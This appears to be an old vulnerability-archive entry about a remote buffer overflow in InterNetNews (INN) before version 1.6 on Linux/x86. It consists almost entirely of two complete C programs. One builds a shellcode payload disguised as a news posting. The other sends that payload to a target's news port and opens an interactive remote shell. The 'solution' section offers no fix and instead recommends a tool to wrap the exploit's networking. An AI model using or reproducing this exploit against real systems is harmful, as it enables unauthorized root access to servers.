COMMAND

    InterNetNews

SYSTEMS AFFECTED

    Linux/x86

PROBLEM

    Dan  Fleisher  posted  handy  nnrpd  exploit  code  for Linux/x86.
    First just  generates the x86   shellcode and puts  it in a   file
    that nnrp  can  send. The  offset  and/or esp  may  need changing.
    Second  is  remote  exploit  for  INN  version  <  1.6.   Requires
    'innbuf'program to operate.

    --------------------------- innbuf.c -----------------------------
    /*
     * This just  generates the x86  shellcode and puts  it in a  file
     * that nnrp  can send. The  offset and/or esp  may need changing.
     * To  compile  on  most  systems:  cc innbuf.c -o innbuf.  Usage:
     * innbuf [offset] > file.  (C) 1997 by Method <method@arena.cwnet.com>
     * P.S.  Feel free to port this to other OS's.
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>

    #define DEFAULT_OFFSET  792
    #define BUFFER_SIZE     796
    #define ADDRS           80

    u_long get_esp()
    {
	    return(0xefbf95e4);
    }

    int main(int argc, char **argv)
    {
	    char *buff = NULL;
	    u_long *addr_ptr = NULL;
	    char *ptr = NULL;
	    int ofs = DEFAULT_OFFSET;
	    int noplen;
	    u_long addr;
	    int i;
	    u_char execshell[] =
		    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
		    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
		    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
		    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

	    if(argc < 1)
		    ofs = atoi(argv[1]);

	    addr = get_esp() - ofs;

	    if(!(buff = malloc(4096))) {
		    fprintf(stderr, "can't allocate memory\n");
		    exit(1);
	    }
	    ptr = buff;
	    noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
	    memset(ptr, 0x90, noplen);
	    ptr += noplen;
	    for(i = 0; i < strlen(execshell); i++)
		    *ptr++ = execshell[i];
	    addr_ptr = (unsigned long *)ptr;
	    for(i = 0; i < ADDRS / 4; i++)
		    *addr_ptr++ = addr;
	    ptr = (char *)addr_ptr;
	    *ptr = '\0';

	    printf(
		    "Path: dev.null!nntp\n"
		    "From: devNull @%s\n"
		    "Newsgroups: alt.test\n"
		    "Subject: 4 out of 5 Dweebs prefer INND for getting r00t\n"
		    "Message-ID: <830201540.9220@dev.null.com>\n"
		    "Date: 9 Jun 1997 15:15:15 GMT\n"
		    "Lines: 1\n"
		    "\n"
		    "this line left not left intentionally blank\n"
		    ".\n", buff);
    }

    ------------------------------------------------------------------

    ---------------------------- nnrp.c ------------------------------
    /*
     * Remote  exploit  for  INN  version  <  1.6.  Requires  'innbuf'
     * program  to operate.   To compile:  cc nnrp.c  -o nnrp.  Usage:
     * nnrp <host> <file generated by innbuf>.  (C) 1997 by Method  of
     * Dweebs <method@arena.cwnet.com>
     */
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <limits.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <time.h>

    #define POST            "POST\n"

    #define SAY(a, b)       write(a, b, strlen(b))
    #define CHOMP(a, b)     read(a, b, sizeof(b))
    #define basename(a)     bname(a)

    char *me;

    make_addr(char *name, struct in_addr *addr)
    {
	    struct hostent *hp;

	    if(inet_aton(name, addr) == 0) {
		    if(!(hp = gethostbyname(name))) {
			    fprintf(stderr, "%s: ", me);
			    herror(name);
			    exit(1);
		    }
		    addr->s_addr = ((struct in_addr *)hp->h_addr)->s_addr;
	    }
    }

    char *bname(char *str)
    {
	    char *cp;

	    if((cp = (char *)strrchr(str, '/')) != NULL)
		    return(++cp);
	    else
		    return(str);
    }

    void my_err(char *errstr, int err)
    {
	    fprintf(stderr, "%s: ", me);
	    perror(errstr);
	    exit(err);
    }

    void usage()
    {
	    printf(
		    "INN version 1.[45].x exploit by Method <method@arena.cwnet.com>\n"
		    "Usage: %s <host> <filename>\n"
		    "Will start a shell on the remote host.\n"
		    "The second argument is the file containing the overflow data.\n",
		    me);
	    exit(1);
    }

    select_loop(int netfd)
    {
	    int ret, n, in = STDIN_FILENO, out = STDOUT_FILENO;
	    char buf[512];
	    fd_set rfds;

	    for( ; ; ) {
		    FD_ZERO(&rfds);
		    FD_SET(in, &rfds);
		    FD_SET(netfd, &rfds);

		    if((ret = select(netfd + 1, &rfds, NULL, NULL, NULL)) < 0)
			    my_err("select", 1);

		    if(!ret)
			    continue;

		    if(FD_ISSET(in, &rfds)) {
			    if((n = read(in, buf, sizeof(buf))) > 0)
				    write(netfd, buf, n);
		    }

		    if(FD_ISSET(netfd, &rfds)) {
			    if((n = read(netfd, buf, sizeof(buf))) > 0)
				    write(out, buf, n);
			    else
				    break;
		    }
	    }
    }

    int news_sock(char *host)
    {
	    struct sockaddr_in sin;
	    int sock;

	    sin.sin_port = htons(119);
	    sin.sin_family = AF_INET;
	    make_addr(host, &(sin.sin_addr));

	    if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		    my_err("socket", 1);

	    if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
		    my_err("connect", 1);

	    return(sock);
    }

    void send_egg(int sk, char *file)
    {
	    char buf[BUFSIZ];
	    int dfd;
	    int n;

	    if((dfd = open(file, O_RDONLY)) < 0)
		    my_err("open", 1);

	    printf("Executing innd exploit.. be patient.\n");

	    n = CHOMP(sk, buf);
	    buf[n] = '\0';
	    printf(buf);
	    SAY(sk, POST);
	    n = CHOMP(sk, buf);
	    buf[n] = '\0';
	    printf(buf);
	    sleep(2);
	    printf("Sending overflow data.\n");
	    while((n = CHOMP(dfd, buf)) > 0)
		    write(sk, buf, n);
	    sleep(2);
    }

    void main(int argc, char **argv)
    {
	    char *victim, *filename;
	    int s;

	    me = basename(argv[0]);

	    if(argc != 3)
		    usage();

	    filename = argv[2];

	    send_egg(s = news_sock(victim = argv[1]), filename);

	    select_loop(s);
	    fprintf(stderr, "Connection closed.\n");
	    printf("Remember: Security is futile. Dweebs WILL own you.\n");
	    exit(0);
    }
    ------------------------------------------------------------------

SOLUTION

    Consider using the "hose" program from the Netpipes package.

        http://www.purplefrog.com/~thoth/netpipes/

    It can be  a convenient wrapper  for the network  functionality of
    the nnrp.c  program posted,  allowing you  to concentrate  on just
    copying data around.